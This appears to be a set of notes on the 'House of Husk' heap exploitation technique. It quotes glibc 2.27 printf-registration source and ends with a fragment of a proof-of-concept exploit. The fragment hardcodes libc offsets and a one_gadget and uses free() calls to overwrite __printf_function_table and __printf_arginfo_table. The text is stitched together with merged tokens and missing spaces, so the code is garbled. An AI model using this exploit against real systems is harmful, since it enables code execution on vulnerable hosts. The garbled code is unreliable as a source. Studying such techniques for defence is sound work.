/* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo) { return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo); } /* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec < 0 || spec > (int) UCHAR_MAX) { __set_errno (EINVAL); return-1; }
int result = 0; __libc_lock_lock (lock);
if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1,sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; }
/* Type of a printf specifier-handler function. STREAM is the FILE on which to write output. INFO gives information about the format specification. ARGS is a vector of pointers to the argument data; the number of pointers will be the number returned by the associated arginfo function for the same INFO. The function should return the number of characters written, or -1 for errors. */ typedefintprintf_function(FILE *__stream, conststruct printf_info *__info, constvoid *const *__args);
//glibc-2.27/vfprintf.c:1985 extern printf_function **__printf_function_table; int function_done;
/* Fill in an array of pointers to the argument values. */ for (unsignedint i = 0; i < specs[nspecs_done].ndata_args; ++i) ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
if (function_done != -2) { /* If an error occurred we don't have information about # of chars. */ if (function_done < 0) { /* Function has set errno. */ done = -1; goto all_done; }
/* Type of a printf specifier-arginfo function. INFO gives information about the format specification. N, ARGTYPES, *SIZE has to contain the size of the parameter for user-defined types, and return value are as for parse_printf_format except that -1 should be returned if the handler cannot handle this case. This allows to partially overwrite the functionality of existing format specifiers. */ typedefintprintf_arginfo_size_function(conststruct printf_info *__info, size_t __n, int *__argtypes, int *__size);
//glibc-2.27/printf-parsemb.c:307
/* Get the format specification. */ spec->info.spec = (wchar_t) *format++; spec->size = -1; if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) { /* Find the data argument types of a built-in spec. */ spec->ndata_args = 1;
structprintf_spec { /* Information parsed from the format spec. */ structprintf_infoinfo; /* Pointers into the format string for the end of this format spec and the next (or to the end of the string if no more). */ const UCHAR_T *end_of_fmt, *next_fmt; /* Position of arguments for precision and width, or -1 if `info' has the constant value. */ int prec_arg, width_arg; int data_arg; /* Position of data argument. */ int data_arg_type; /* Type of first argument. */ /* Number of arguments consumed by this format specifier. */ size_t ndata_args; /* Size of the parameter for PA_USER type. */ int size; };
//glibc-2.27/vfprintf.c:1335 /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional;
/* Hand off processing for positional parameters. */
/** * This is a Proof-of-Concept for House of Husk * This PoC is supposed to be run with libc-2.27. */ #include<stdio.h>#include<stdlib.h>#define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define PRINTF_FUNCTABLE 0x3f0658 #define PRINTF_ARGINFO 0x3ec870 #define ONE_GADGET 0x10a38c
/* overwrite __printf_arginfo_table and __printf_function_table */ free(a[1]);// __printf_function_table => a heap_addr which is not NULL free(a[2]);//__printf_arginfo_table => one_gadget